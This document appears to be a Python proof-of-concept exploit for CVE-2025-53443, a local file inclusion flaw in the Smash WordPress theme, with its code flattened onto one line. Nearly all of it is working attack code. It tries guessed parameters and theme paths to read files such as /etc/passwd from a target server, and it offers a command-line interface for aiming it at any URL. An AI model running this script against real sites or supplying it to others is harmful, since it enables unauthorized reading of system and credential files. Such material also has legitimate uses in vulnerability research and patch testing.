CVE-2025-53443

import requests import sys # CVE-2025-53443 LFI PoC for Smash WordPress Theme # Target: axiomthemes Smash Theme <= 1.7 def exploit_lfi(target_url, filename='/etc/passwd'): """ Exploit Local File Inclusion vulnerability Args: target_url: Base URL of the WordPress site filename: File to read (default: /etc/passwd) Returns: File contents if successful, None otherwise """ # Common Smash theme LFI parameters params = { 'file': filename, 'template': filename, 'page': filename, 'theme': filename, 'style': filename } for param in params: try: test_params = {param: filename} response = requests.get(target_url, params=test_params, timeout=10) # Check if file content is returned if response.status_code == 200: # Verify we got actual file content if 'root:' in response.text or 'www-data:' in response.text: print(f'[+] SUCCESS: Read {filename} via parameter: {param}') return response.text elif 'root:' in response.text or 'Administrator:' in response.text: print(f'[+] SUCCESS: Read {filename} via parameter: {param}') return response.text except requests.RequestException as e: print(f'[-] Error with parameter {param}: {e}') # Try common Smash theme paths paths = [ '/wp-content/themes/smash/includes/', '/wp-content/themes/smash/framework/', '/wp-content/themes/smash/' ] for path in paths: for param in params: try: payload = f'{path}{filename}' test_params = {param: payload} response = requests.get(target_url, params=test_params, timeout=10) if response.status_code == 200 and ('root:' in response.text or 'www-data:' in response.text): print(f'[+] SUCCESS: Read {filename} via path: {path}') return response.text except requests.RequestException: continue return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url> [filename]') print(f'Example: python {sys.argv[0]} http://example.com /etc/passwd') sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' print(f'[*] Targeting: {target}') print(f'[*] Attempting to read: {file_to_read}') result = exploit_lfi(target, file_to_read) if result: print('\n[+] File Contents:') print(result[:2000]) # Print first 2000 chars else: print('[-] Failed to exploit vulnerability')

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